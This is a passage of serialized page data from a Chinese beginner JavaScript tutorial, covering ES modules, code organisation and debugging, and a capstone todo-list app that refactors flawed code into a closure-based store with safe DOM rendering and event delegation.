strict'","，第二章那些「别这么干」从建议变成强制",[308,73297,73299],{"className":485,"code":73298,"language":487,"meta":314,"style":314},"\u003Cscript type=\"module\" src=\".\u002Fmain.js\">\u003C\u002Fscript>\n",[22,73300,73301],{"__ignoreMap":314},[331,73302,73303,73305,73307,73309,73311,73313,73315,73317,73320,73322,73324],{"class":333,"line":334},[331,73304,510],{"class":337},[331,73306,891],{"class":497},[331,73308,835],{"class":501},[331,73310,518],{"class":337},[331,73312,61906],{"class":365},[331,73314,894],{"class":501},[331,73316,518],{"class":337},[331,73318,73319],{"class":365},"\".\u002Fmain.js\"",[331,73321,902],{"class":337},[331,73323,891],{"class":497},[331,73325,505],{"class":337},[11,73327,72534,73328,73331],{},[22,73329,73330],{},"file:\u002F\u002F"," 直接双击打开会因为 CORS 报错——模块必须经 HTTP 访问（本地起个静态服务，或直接用下节说的构建工具）。",[53,73333,73335],{"id":73334},"export-与-import-的几种写法","export 与 import 的几种写法",[308,73337,73339],{"className":942,"code":73338,"language":944,"meta":314,"style":314},"\u002F\u002F utils.js —— 输出方\nexport function formatTime(date) { … }    \u002F\u002F 具名导出：一个文件可以有很多个\nexport const MAX = 10\nexport default function render() { … }    \u002F\u002F 默认导出：一个模块至多一个\n",[22,73340,73341,73346,73365,73379],{"__ignoreMap":314},[331,73342,73343],{"class":333,"line":334},[331,73344,73345],{"class":1003},"\u002F\u002F utils.js —— 输出方\n",[331,73347,73348,73350,73352,73355,73357,73359,73362],{"class":333,"line":341},[331,73349,5219],{"class":616},[331,73351,1066],{"class":616},[331,73353,73354],{"class":501}," formatTime",[331,73356,966],{"class":337},[331,73358,39549],{"class":2472},[331,73360,73361],{"class":337},") { … }    ",[331,73363,73364],{"class":1003},"\u002F\u002F 具名导出：一个文件可以有很多个\n",[331,73366,73367,73369,73371,73374,73376],{"class":333,"line":357},[331,73368,5219],{"class":616},[331,73370,13749],{"class":616},[331,73372,73373],{"class":344}," MAX",[331,73375,957],{"class":616},[331,73377,73378],{"class":344}," 10\n",[331,73380,73381,73383,73385,73387,73390,73393],{"class":333,"line":371},[331,73382,5219],{"class":616},[331,73384,5222],{"class":616},[331,73386,1066],{"class":616},[331,73388,73389],{"class":501}," render",[331,73391,73392],{"class":337},"() { … }    ",[331,73394,73395],{"class":1003},"\u002F\u002F 默认导出：一个模块至多一个\n",[308,73397,73399],{"className":942,"code":73398,"language":944,"meta":314,"style":314},"\u002F\u002F main.js —— 使用方\nimport { formatTime, MAX } from '.\u002Futils.js'    \u002F\u002F 具名导入：名字要对上\nimport { formatTime as fmt } from '.\u002Futils.js'  \u002F\u002F 重命名\nimport render from '.\u002Futils.js'                 \u002F\u002F 默认导入：名字自己起\nimport * as utils from '.\u002Futils.js'             \u002F\u002F 整个模块收成命名空间对象\n\nimport('.\u002Fheavy.js').then((mod) => { … })       \u002F\u002F 动态导入：用到才加载，返回 Promise\n",[22,73400,73401,73406,73421,73441,73455,73474,73478],{"__ignoreMap":314},[331,73402,73403],{"class":333,"line":334},[331,73404,73405],{"class":1003},"\u002F\u002F main.js —— 使用方\n",[331,73407,73408,73410,73413,73415,73418],{"class":333,"line":341},[331,73409,4648],{"class":616},[331,73411,73412],{"class":337}," { formatTime, MAX } ",[331,73414,13735],{"class":616},[331,73416,73417],{"class":365}," '.\u002Futils.js'",[331,73419,73420],{"class":1003},"    \u002F\u002F 具名导入：名字要对上\n",[331,73422,73423,73425,73428,73431,73434,73436,73438],{"class":333,"line":357},[331,73424,4648],{"class":616},[331,73426,73427],{"class":337}," { formatTime ",[331,73429,73430],{"class":616},"as",[331,73432,73433],{"class":337}," fmt } ",[331,73435,13735],{"class":616},[331,73437,73417],{"class":365},[331,73439,73440],{"class":1003},"  \u002F\u002F 重命名\n",[331,73442,73443,73445,73448,73450,73452],{"class":333,"line":371},[331,73444,4648],{"class":616},[331,73446,73447],{"class":337}," render ",[331,73449,13735],{"class":616},[331,73451,73417],{"class":365},[331,73453,73454],{"class":1003},"                 \u002F\u002F 默认导入：名字自己起\n",[331,73456,73457,73459,73461,73464,73467,73469,73471],{"class":333,"line":384},[331,73458,4648],{"class":616},[331,73460,1045],{"class":344},[331,73462,73463],{"class":616}," as",[331,73465,73466],{"class":337}," utils ",[331,73468,13735],{"class":616},[331,73470,73417],{"class":365},[331,73472,73473],{"class":1003},"             \u002F\u002F 整个模块收成命名空间对象\n",[331,73475,73476],{"class":333,"line":397},[331,73477,998],{"emptyLinePlaceholder":997},[331,73479,73480,73482,73484,73487,73489,73491,73493,73496,73498,73500,73503],{"class":333,"line":418},[331,73481,4648],{"class":616},[331,73483,966],{"class":337},[331,73485,73486],{"class":365},"'.\u002Fheavy.js'",[331,73488,67721],{"class":337},[331,73490,3122],{"class":501},[331,73492,3175],{"class":337},[331,73494,73495],{"class":2472},"mod",[331,73497,3180],{"class":337},[331,73499,1489],{"class":616},[331,73501,73502],{"class":337}," { … })       ",[331,73504,73505],{"class":1003},"\u002F\u002F 动态导入：用到才加载，返回 Promise\n",[11,73507,73508],{},"两条硬规矩：",[1773,73510,73511,73525],{},[1662,73512,73513,73514,6745,73517,73520,73521,73524],{},"路径必须写 ",[22,73515,73516],{},".\u002F",[22,73518,73519],{},"..\u002F"," 开头——写成 ",[22,73522,73523],{},"'utils.js'"," 会被当作 npm 包名去找，然后报「找不到模块」",[1662,73526,73527],{},"import 会被提升到模块顶部，写在哪里都一样（别指望靠位置控制顺序）",[11,73529,73530],{},"default 还是具名？一个模块只做一件事、只有一个主出口 → default；工具集合（一排平级函数）→ 全部具名（更好搜、重构更安全）。团队里保持一致，比纠结选哪个更重要。",[53,73532,73534],{"id":73533},"拆文件的原则一条链三个角色","拆文件的原则：一条链，三个角色",[11,73536,73537,73538,322],{},"小型项目够用的分法——",[17,73539,73540],{},"utils（纯工具）→ store（数据与业务）→ main（入口\u002F界面）",[1773,73542,73543,73546,73549],{},[1662,73544,73545],{},"utils：不碰 DOM、不管业务，进什么出什么，最好测",[1662,73547,73548],{},"store：管数据和规则（比如「count 不能超过 limit」），也不碰 DOM",[1662,73550,73551],{},"main：只当接线员——把用户事件接到 store，把结果渲染到 DOM",[11,73553,73554],{},"依赖方向单向：main → store → utils。反过来（工具函数里 import 业务状态）就是循环依赖噩梦的开端。本章示例把第十四章的迷你待办按这个原则拆成三个文件，每个几十行，看完文件名就知道该去哪改。",[53,73556,73558],{"id":73557},"命名与注释改代码的人会谢你","命名与注释：改代码的人会谢你",[1773,73560,73561,73580,73593],{},[1662,73562,73563,73564,73567,73568,272,73571,73573,73574,272,73577,5149],{},"文件名小写连字符（",[22,73565,73566],{},"user-store.js","）；函数名用动词短语（",[22,73569,73570],{},"createUser",[22,73572,64847],{},"），布尔用 is\u002Fhas\u002Fcan 开头（",[22,73575,73576],{},"isValid",[22,73578,73579],{},"hasNext",[1662,73581,73582,322,73585,73588,73589,73592],{},[17,73583,73584],{},"注释写「为什么」，不写「是什么」",[22,73586,73587],{},"i++ \u002F\u002F i 加一"," 是噪音；",[22,73590,73591],{},"\u002F\u002F 兼容 iOS 15 的旧行为"," 才是信息",[1662,73594,73595],{},"删掉注释掉的死代码——git 记着呢，不差这一份",[53,73597,73599],{"id":73598},"devtools出-bug-时的三件套","DevTools：出 bug 时的三件套",[1773,73601,73602,73619,73629],{},[1662,73603,73604,322,73607,73610,73611,73614,73615,73618],{},[17,73605,73606],{},"console 家族",[22,73608,73609],{},"console.table(arr)"," 把对象数组排成表、",[22,73612,73613],{},"console.time \u002F timeEnd"," 掐耗时、",[22,73616,73617],{},"console.error"," 让日志带颜色和调用栈（本站示例的「迷你控制台」就是它的仿制品）",[1662,73620,73621,73624,73625,73628],{},[17,73622,73623],{},"断点","：Sources 面板点行号打断点，鼠标悬停看变量值；条件断点只在条件成立时停下；在代码里写 ",[22,73626,73627],{},"debugger"," 语句也会停",[1662,73630,73631,73634],{},[17,73632,73633],{},"Network 面板","：上一章的请求全在这：状态码、请求头、响应体——接口挂没挂一眼便知",[53,73636,73638],{"id":73637},"从手写-script-到工程化缺的那一环","从手写 script 到工程化：缺的那一环",[11,73640,73641,73642,73645,73646,73649,73650,73653],{},"现在我们手动引入每个文件：",[22,73643,73644],{},"\u003Cscript type=\"module\" src=\".\u002Fmain.js\">","，main.js 再 import 其他。项目再大就会遇到新问题：几百个模块逐个写标签不现实、新语法旧浏览器不认、npm 上的包怎么用。这就是",[17,73647,73648],{},"构建工具","（现在的默认答案是 Vite）出场的原因：你安心写模块和装包，它负责打包、压缩、兼容旧浏览器。学完下一章的收尾实战，你就具备了看懂一个 Vite 项目 ",[22,73651,73652],{},"src\u002F"," 目录的全部前置知识。",[4748,73655],{"height":73656,"src":73657,"title":73658},780,"\u002Ftutorials\u002Fjs\u002Fdemos\u002F20-modules.html","示例 20：模块作用域、三文件拆分与运行效果",[48,73660,73662],{"id":73661},"二十一综合实战从能跑到像样","二十一、综合实战：从「能跑」到「像样」",[11,73664,73665,73666,73669],{},"毕业考试不用另出题：把 21 章的技能串起来做一个",[17,73667,73668],{},"待办清单","就够了。需求列清楚——添加（含校验）、勾选完成、删除、按状态筛选、显示剩余数量、刷新后数据还在。先看一版「能跑但毛病一堆」的实现，再逐条改造成能进产品的水准。",[53,73671,73673],{"id":73672},"第一版能跑就行","第一版：「能跑」就行？",[11,73675,73676,73677,73680],{},"下面的版本功能真的都能用：回车添加、勾选、删除。但代码里有六个毛病，每一个都是前面某章点名讲过的——先玩一玩，看你能认出几个（提示：输入框里输入 ",[22,73678,73679],{},"\u003Cb>我有格式\u003C\u002Fb>"," 再回车，看看会发生什么）。",[4748,73682],{"height":40485,"src":73683,"title":73684},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F21-before.html","示例 21（改造前）：能跑但毛病一堆的待办清单",[11,73686,73687],{},"对照下面的清单找一找，看你说中了几个。",[57,73689,73690,73703],{},[60,73691,73692],{},[63,73693,73694,73697,73700],{},[66,73695,73696],{},"「能跑版」的毛病",[66,73698,73699],{},"改造版怎么治",[66,73701,73702],{},"出处",[79,73704,73705,73716,73726,73737,73748,73759],{},[63,73706,73707,73710,73713],{},[84,73708,73709],{},"全局变量满天飞",[84,73711,73712],{},"用闭包把状态藏起来，对外只暴露操作函数",[84,73714,73715],{},"七、十",[63,73717,73718,73721,73724],{},[84,73719,73720],{},"innerHTML 拼字符串",[84,73722,73723],{},"createElement + textContent，用户输入永远当文本",[84,73725,17088],{},[63,73727,73728,73731,73734],{},[84,73729,73730],{},"onclick 属性、函数挂 window",[84,73732,73733],{},"addEventListener + 事件委托，一个监听管全部条目",[84,73735,73736],{},"十五",[63,73738,73739,73742,73745],{},[84,73740,73741],{},"不 trim、不校验",[84,73743,73744],{},"trim + 空值\u002F长度拦截 + 错误提示",[84,73746,73747],{},"八、十六",[63,73749,73750,73753,73756],{},[84,73751,73752],{},"刷新即失",[84,73754,73755],{},"JSON + localStorage，先探测再兜底",[84,73757,73758],{},"十七",[63,73760,73761,73764,73767],{},[84,73762,73763],{},"数据与界面搅在一起",[84,73765,73766],{},"分出数据层 \u002F 渲染层：一切改动 = 改数据 + 重新 render",[84,73768,73769],{},"十四、二十",[11,73771,73772,73773,73776],{},"改造版还顺手加了一处毛病清单之外的东西：保存状态用 ",[22,73774,73775],{},"async \u002F await"," 模拟异步落盘（真实项目里这里就是一次 fetch POST），右上角能看到「保存中… → 已保存」的流转。",[53,73778,73780],{"id":73779},"第二版改造版","第二版：改造版",[4748,73782],{"height":5635,"src":73783,"title":73784},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F21-after.html","示例 21（改造后）：综合实战·待办清单",[53,73786,73788],{"id":73787},"改造版的骨架其实就三件事","改造版的骨架，其实就三件事",[11,73790,73791],{},"数据层用闭包藏住状态，对外只有一组操作函数——你会注意到所有修改都是「不可变更新」，而数组的 map \u002F filter \u002F reduce 全用上了：",[308,73793,73795],{"className":942,"code":73794,"language":944,"meta":314,"style":314},"function createStore(initial) {\n  let todos = initial\n  let seq = todos.reduce((max, t) => Math.max(max, t.id), 0)\n  return {\n    add(text) { todos = [...todos, { id: ++seq, text: text, done: false }] },\n    toggle(id) { todos = todos.map((t) => (t.id === id ? { ...t, done: !t.done } : t)) },\n    remove(id) { todos = todos.filter((t) => t.id !== id) },\n    get() { return todos },\n  }\n}\n",[22,73796,73797,73810,73821,73859,73865,73895,73947,73980,73992,73996],{"__ignoreMap":314},[331,73798,73799,73801,73804,73806,73808],{"class":333,"line":334},[331,73800,3047],{"class":616},[331,73802,73803],{"class":501}," createStore",[331,73805,966],{"class":337},[331,73807,34492],{"class":2472},[331,73809,2476],{"class":337},[331,73811,73812,73814,73817,73819],{"class":333,"line":341},[331,73813,29344],{"class":616},[331,73815,73816],{"class":337}," todos ",[331,73818,518],{"class":616},[331,73820,34509],{"class":337},[331,73822,73823,73825,73828,73830,73833,73835,73837,73839,73841,73843,73845,73847,73850,73852,73855,73857],{"class":333,"line":357},[331,73824,29344],{"class":616},[331,73826,73827],{"class":337}," seq ",[331,73829,518],{"class":616},[331,73831,73832],{"class":337}," todos.",[331,73834,21537],{"class":501},[331,73836,3175],{"class":337},[331,73838,30126],{"class":2472},[331,73840,409],{"class":337},[331,73842,33113],{"class":2472},[331,73844,3180],{"class":337},[331,73846,1489],{"class":616},[331,73848,73849],{"class":337}," Math.",[331,73851,30126],{"class":501},[331,73853,73854],{"class":337},"(max, t.id), ",[331,73856,628],{"class":344},[331,73858,972],{"class":337},[331,73860,73861,73863],{"class":333,"line":371},[331,73862,1633],{"class":616},[331,73864,1100],{"class":337},[331,73866,73867,73869,73871,73873,73876,73878,73880,73882,73885,73887,73890,73892],{"class":333,"line":384},[331,73868,31026],{"class":501},[331,73870,966],{"class":337},[331,73872,313],{"class":2472},[331,73874,73875],{"class":337},") { todos ",[331,73877,518],{"class":616},[331,73879,1108],{"class":337},[331,73881,9211],{"class":616},[331,73883,73884],{"class":337},"todos, { id: ",[331,73886,29231],{"class":616},[331,73888,73889],{"class":337},"seq, text: text, done: ",[331,73891,3193],{"class":344},[331,73893,73894],{"class":337}," }] },\n",[331,73896,73897,73900,73902,73904,73906,73908,73910,73912,73914,73916,73918,73920,73923,73925,73928,73930,73932,73934,73937,73939,73942,73944],{"class":333,"line":397},[331,73898,73899],{"class":501},"    toggle",[331,73901,966],{"class":337},[331,73903,8521],{"class":2472},[331,73905,73875],{"class":337},[331,73907,518],{"class":616},[331,73909,73832],{"class":337},[331,73911,10198],{"class":501},[331,73913,3175],{"class":337},[331,73915,33113],{"class":2472},[331,73917,3180],{"class":337},[331,73919,1489],{"class":616},[331,73921,73922],{"class":337}," (t.id ",[331,73924,2625],{"class":616},[331,73926,73927],{"class":337}," id ",[331,73929,1177],{"class":616},[331,73931,605],{"class":337},[331,73933,9211],{"class":616},[331,73935,73936],{"class":337},"t, done: ",[331,73938,1150],{"class":616},[331,73940,73941],{"class":337},"t.done } ",[331,73943,1180],{"class":616},[331,73945,73946],{"class":337}," t)) },\n",[331,73948,73949,73952,73954,73956,73958,73960,73962,73964,73966,73968,73970,73972,73975,73977],{"class":333,"line":418},[331,73950,73951],{"class":501},"    remove",[331,73953,966],{"class":337},[331,73955,8521],{"class":2472},[331,73957,73875],{"class":337},[331,73959,518],{"class":616},[331,73961,73832],{"class":337},[331,73963,21587],{"class":501},[331,73965,3175],{"class":337},[331,73967,33113],{"class":2472},[331,73969,3180],{"class":337},[331,73971,1489],{"class":616},[331,73973,73974],{"class":337}," t.id ",[331,73976,3076],{"class":616},[331,73978,73979],{"class":337}," id) },\n",[331,73981,73982,73985,73987,73989],{"class":333,"line":427},[331,73983,73984],{"class":501},"    get",[331,73986,17990],{"class":337},[331,73988,10859],{"class":616},[331,73990,73991],{"class":337}," todos },\n",[331,73993,73994],{"class":333,"line":439},[331,73995,453],{"class":337},[331,73997,73998],{"class":333,"line":450},[331,73999,459],{"class":337},[11,74001,74002],{},"渲染层一切从数据出发，事件用一个委托全部接管——数据变了就重新 render，界面永远和数据对得上，不存在「哪里忘了同步」：",[308,74004,74006],{"className":942,"code":74005,"language":944,"meta":314,"style":314},"function render() {\n  list.replaceChildren(...visible().map(renderItem))\n}\n\nlist.addEventListener('click', (e) => {\n  const item = e.target.closest('.item')\n  if (!item) return\n  const id = Number(item.dataset.id)\n  if (e.target.matches('.del')) { store.remove(id); commit('删除') }\n  else if (e.target.matches('input[type=\"checkbox\"]')) { store.toggle(id); commit('更新') }\n})\n",[22,74007,74008,74016,74036,74040,74044,74064,74082,74095,74109,74139,74171],{"__ignoreMap":314},[331,74009,74010,74012,74014],{"class":333,"line":334},[331,74011,3047],{"class":616},[331,74013,73389],{"class":501},[331,74015,1072],{"class":337},[331,74017,74018,74020,74022,74024,74026,74029,74031,74033],{"class":333,"line":341},[331,74019,69762],{"class":337},[331,74021,69765],{"class":501},[331,74023,966],{"class":337},[331,74025,9211],{"class":616},[331,74027,74028],{"class":501},"visible",[331,74030,72734],{"class":337},[331,74032,10198],{"class":501},[331,74034,74035],{"class":337},"(renderItem))\n",[331,74037,74038],{"class":333,"line":357},[331,74039,459],{"class":337},[331,74041,74042],{"class":333,"line":371},[331,74043,998],{"emptyLinePlaceholder":997},[331,74045,74046,74048,74050,74052,74054,74056,74058,74060,74062],{"class":333,"line":384},[331,74047,66046],{"class":337},[331,74049,1399],{"class":501},[331,74051,966],{"class":337},[331,74053,1404],{"class":365},[331,74055,14706],{"class":337},[331,74057,9481],{"class":2472},[331,74059,3180],{"class":337},[331,74061,1489],{"class":616},[331,74063,1100],{"class":337},[331,74065,74066,74068,74070,74072,74074,74076,74078,74080],{"class":333,"line":397},[331,74067,1496],{"class":616},[331,74069,63923],{"class":344},[331,74071,957],{"class":616},[331,74073,70114],{"class":337},[331,74075,69337],{"class":501},[331,74077,966],{"class":337},[331,74079,70121],{"class":365},[331,74081,972],{"class":337},[331,74083,74084,74086,74088,74090,74093],{"class":333,"line":418},[331,74085,1526],{"class":616},[331,74087,1147],{"class":337},[331,74089,1150],{"class":616},[331,74091,74092],{"class":337},"item) ",[331,74094,23230],{"class":616},[331,74096,74097,74099,74101,74103,74106],{"class":333,"line":427},[331,74098,1496],{"class":616},[331,74100,827],{"class":344},[331,74102,957],{"class":616},[331,74104,74105],{"class":501}," Number",[331,74107,74108],{"class":337},"(item.dataset.id)\n",[331,74110,74111,74113,74115,74117,74119,74121,74124,74126,74129,74132,74134,74137],{"class":333,"line":439},[331,74112,1526],{"class":616},[331,74114,70146],{"class":337},[331,74116,1977],{"class":501},[331,74118,966],{"class":337},[331,74120,70153],{"class":365},[331,74122,74123],{"class":337},")) { store.",[331,74125,1537],{"class":501},[331,74127,74128],{"class":337},"(id); ",[331,74130,74131],{"class":501},"commit",[331,74133,966],{"class":337},[331,74135,74136],{"class":365},"'删除'",[331,74138,25607],{"class":337},[331,74140,74141,74144,74147,74149,74151,74153,74156,74158,74160,74162,74164,74166,74169],{"class":333,"line":450},[331,74142,74143],{"class":616},"  else",[331,74145,74146],{"class":616}," if",[331,74148,70146],{"class":337},[331,74150,1977],{"class":501},[331,74152,966],{"class":337},[331,74154,74155],{"class":365},"'input[type=\"checkbox\"]'",[331,74157,74123],{"class":337},[331,74159,34310],{"class":501},[331,74161,74128],{"class":337},[331,74163,74131],{"class":501},[331,74165,966],{"class":337},[331,74167,74168],{"class":365},"'更新'",[331,74170,25607],{"class":337},[331,74172,74173],{"class":333,"line":456},[331,74174,5399],{"class":337},[11,74176,74177],{},"剩下的都是普通代码。把示例在「在新标签页打开」后对着源码再读一遍——每一行都能对应回某一章。",[53,74179,74180],{"id":74180},"你已经走完了什么",[11,74182,74183],{},"从第一章「script 放在哪」到能独立写出上面这个应用：变量、类型、函数、闭包、对象、类、错误、DOM、事件、表单、BOM、异步、fetch、模块——21 章没有一章是多余的，它们都在你刚才玩的这个页面里出现了。",[11,74185,74186,74187,74190],{},"接下来去哪：想直接上框架就学 Vue 或 React（你在读的这个站点就是 Vue 写的——回头看你写的 ",[22,74188,74189],{},"render()","，是不是已经有点「响应式」的形状了）；想补类型上 TypeScript；想吃透 npm 生态就认真学 Vite；想碰后端就顺着 Node.js 往下走。工具会换，但变量、函数、异步、模块这些地基不会。",[53,74192,74193],{"id":74193},"最后一份检查清单",[11,74195,74196,74197,74200],{},"下面这些如果都能",[17,74198,74199],{},"不看教程写出来、并且讲给别人听明白","，这门课就毕业了：",[1773,74202,74203,74206,74209,74212,74215,74218,74221,74224,74227,74230,74233,74236,74239,74242],{},[1662,74204,74205],{},"说清 var \u002F let \u002F const 的区别，以及「const 锁的是绑定不是值」",[1662,74207,74208],{},"分清原始值和对象传参的差别，说得出什么叫浅拷贝",[1662,74210,74211],{},"用解构、展开、可选链把日常代码写短而不晦涩",[1662,74213,74214],{},"写好箭头函数，解释闭包为什么能「记住」外层变量",[1662,74216,74217],{},"熟练用 map \u002F filter \u002F reduce \u002F find 加工数组",[1662,74219,74220],{},"用 class 加私有字段写一个小型数据结构",[1662,74222,74223],{},"用 throw \u002F try \u002F catch \u002F finally 搭起错误处理",[1662,74225,74226],{},"用 querySelector \u002F createElement \u002F textContent 安全地操作 DOM",[1662,74228,74229],{},"用事件委托让动态列表「一器多用」，说清 preventDefault 和 stopPropagation 的分工",[1662,74231,74232],{},"用 FormData 与 submit 事件读写、校验一张表单",[1662,74234,74235],{},"用 setTimeout \u002F setInterval 排列时间，用 Promise 与 async \u002F await 消费异步",[1662,74237,74238],{},"写 fetch 时记得查 res.ok，POST 时记得 JSON.stringify",[1662,74240,74241],{},"用 JSON 往返在 localStorage 里存对象，并做可用性探测与兜底",[1662,74243,74244],{},"把代码拆成 utils \u002F store \u002F main，理顺 import \u002F export",[11,74246,74247],{},"清单里每一条，正文里都配了示例。以后哪条卡住了，回来翻对应那一章就好。",[53,74249,74250],{"id":74250},"写在最后",[11,74252,74253],{},"教程到这儿就结束了，但「会 JS」这件事只能靠写出来。去找一个你自己每天真用得上的小需求——记账、单词卡、值班表，什么都行——用这 21 章的全部本事把它做出来。过程中卡住的每一处，都比再读一遍教程管用。",[595,74255,74256],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .sns5M, html code.shiki .sns5M{--shiki-default:#DBEDFF}html pre.shiki code .sRjNt, html code.shiki .sRjNt{--shiki-default:#85E89D;--shiki-default-font-weight:bold}",{"title":314,"searchDepth":341,"depth":341,"links":74258},[74259,74265,74272,74278,74286,74294,74301,74307,74312,74324,74331,74341,74348,74354,74361,74368,74374,74384,74392,74399,74407],{"id":61746,"depth":341,"text":61747,"children":74260},[74261,74263,74264],{"id":61760,"depth":357,"text":74262},"\u003Cscript> 放哪里：四种写法与各自的执行时机",{"id":62053,"depth":357,"text":62054},{"id":62211,"depth":357,"text":62212},{"id":62252,"depth":341,"text":62253,"children":74266},[74267,74268,74269,74270,74271],{"id":62274,"depth":357,"text":62274},{"id":62463,"depth":357,"text":62464},{"id":62491,"depth":357,"text":62492},{"id":62594,"depth":357,"text":62595},{"id":62713,"depth":357,"text":62713},{"id":62798,"depth":341,"text":62799,"children":74273},[74274,74275,74276,74277],{"id":62812,"depth":357,"text":62813},{"id":63005,"depth":357,"text":63006},{"id":63173,"depth":357,"text":63173},{"id":63280,"depth":357,"text":63280},{"id":63349,"depth":341,"text":63350,"children":74279},[74280,74282,74283,74285],{"id":63356,"depth":357,"text":74281},"== 会做类型转换，=== 不会",{"id":63453,"depth":357,"text":63454},{"id":63580,"depth":357,"text":74284},"可选链 ?.：深层访问不再逐层判断",{"id":63648,"depth":357,"text":63648},{"id":63699,"depth":341,"text":63700,"children":74287},[74288,74289,74291,74292],{"id":63703,"depth":357,"text":63704},{"id":63808,"depth":357,"text":74290},"switch：=== 比较与 break",{"id":63844,"depth":357,"text":63844},{"id":64045,"depth":357,"text":74293},"break 与 continue",{"id":64228,"depth":341,"text":64229,"children":74295},[74296,74297,74298,74299,74300],{"id":64241,"depth":357,"text":64242},{"id":64390,"depth":357,"text":64391},{"id":64523,"depth":357,"text":64524},{"id":64625,"depth":357,"text":64625},{"id":64746,"depth":357,"text":64747},{"id":64869,"depth":341,"text":64870,"children":74302},[74303,74304,74305,74306],{"id":64880,"depth":357,"text":64881},{"id":65005,"depth":357,"text":65006},{"id":65167,"depth":357,"text":65168},{"id":65313,"depth":357,"text":65313},{"id":65323,"depth":341,"text":65324,"children":74308},[74309,74310,74311],{"id":65340,"depth":357,"text":65341},{"id":65474,"depth":357,"text":65474},{"id":65674,"depth":357,"text":65674},{"id":65728,"depth":341,"text":65729,"children":74313},[74314,74315,74316,74317,74318,74319,74320,74321,74323],{"id":65750,"depth":357,"text":65750},{"id":65904,"depth":357,"text":65905},{"id":66095,"depth":357,"text":66096},{"id":66195,"depth":357,"text":66195},{"id":66317,"depth":357,"text":66317},{"id":66371,"depth":357,"text":66372},{"id":66722,"depth":357,"text":66722},{"id":66890,"depth":357,"text":74322},"sort 与「浅拷贝」",{"id":67073,"depth":357,"text":67073},{"id":67085,"depth":341,"text":67086,"children":74325},[74326,74327,74328,74329,74330],{"id":67104,"depth":357,"text":67105},{"id":67275,"depth":357,"text":67275},{"id":67388,"depth":357,"text":67388},{"id":67497,"depth":357,"text":67497},{"id":67667,"depth":357,"text":67668},{"id":67779,"depth":341,"text":67780,"children":74332},[74333,74334,74335,74336,74338,74339,74340],{"id":67797,"depth":357,"text":67798},{"id":67952,"depth":357,"text":67953},{"id":68059,"depth":357,"text":68060},{"id":68144,"depth":357,"text":74337},"私有字段：# 开头",{"id":68255,"depth":357,"text":68256},{"id":68362,"depth":357,"text":68363},{"id":68552,"depth":357,"text":68553},{"id":68583,"depth":341,"text":68584,"children":74342},[74343,74344,74345,74346,74347],{"id":68590,"depth":357,"text":68591},{"id":68671,"depth":357,"text":68672},{"id":68749,"depth":357,"text":68750},{"id":68892,"depth":357,"text":68892},{"id":69087,"depth":357,"text":69088},{"id":69128,"depth":341,"text":69129,"children":74349},[74350,74351,74352,74353],{"id":69135,"depth":357,"text":69136},{"id":69256,"depth":357,"text":69257},{"id":69323,"depth":357,"text":69324},{"id":69375,"depth":357,"text":69376},{"id":69456,"depth":341,"text":69457,"children":74355},[74356,74357,74358,74359,74360],{"id":69466,"depth":357,"text":69467},{"id":69574,"depth":357,"text":69575},{"id":69619,"depth":357,"text":69620},{"id":69726,"depth":357,"text":69727},{"id":69867,"depth":357,"text":69868},{"id":69888,"depth":341,"text":69889,"children":74362},[74363,74364,74365,74366,74367],{"id":69898,"depth":357,"text":69899},{"id":70006,"depth":357,"text":70007},{"id":70070,"depth":357,"text":70071},{"id":70207,"depth":357,"text":70208},{"id":70279,"depth":357,"text":70279},{"id":70401,"depth":341,"text":70402,"children":74369},[74370,74371,74372,74373],{"id":70408,"depth":357,"text":70409},{"id":70549,"depth":357,"text":70550},{"id":70653,"depth":357,"text":70654},{"id":70846,"depth":357,"text":70846},{"id":70871,"depth":341,"text":70872,"children":74375},[74376,74377,74378,74379,74380,74381,74382,74383],{"id":70878,"depth":357,"text":70879},{"id":70994,"depth":357,"text":70995},{"id":71068,"depth":357,"text":71069},{"id":71241,"depth":357,"text":71242},{"id":71320,"depth":357,"text":71321},{"id":71398,"depth":357,"text":71399},{"id":71576,"depth":357,"text":71577},{"id":71780,"depth":357,"text":71781},{"id":71874,"depth":341,"text":71875,"children":74385},[74386,74387,74388,74389,74390,74391],{"id":71885,"depth":357,"text":71886},{"id":72083,"depth":357,"text":72084},{"id":72169,"depth":357,"text":72170},{"id":72437,"depth":357,"text":72438},{"id":72545,"depth":357,"text":72546},{"id":72690,"depth":357,"text":72691},{"id":72780,"depth":341,"text":72781,"children":74393},[74394,74395,74396,74397,74398],{"id":72787,"depth":357,"text":72788},{"id":72857,"depth":357,"text":72858},{"id":73039,"depth":357,"text":73040},{"id":73173,"depth":357,"text":73173},{"id":73226,"depth":357,"text":73226},{"id":73250,"depth":341,"text":73251,"children":74400},[74401,74402,74403,74404,74405,74406],{"id":73261,"depth":357,"text":73262},{"id":73334,"depth":357,"text":73335},{"id":73533,"depth":357,"text":73534},{"id":73557,"depth":357,"text":73558},{"id":73598,"depth":357,"text":73599},{"id":73637,"depth":357,"text":73638},{"id":73661,"depth":341,"text":73662,"children":74408},[74409,74410,74411,74412,74413,74414],{"id":73672,"depth":357,"text":73673},{"id":73779,"depth":357,"text":73780},{"id":73787,"depth":357,"text":73788},{"id":74180,"depth":357,"text":74180},{"id":74193,"depth":357,"text":74193},{"id":74250,"depth":357,"text":74250},"\u002Fimg\u002Fjs-cover.svg","零基础入门 JavaScript：变量、函数、闭包、DOM、事件与异步编程，21 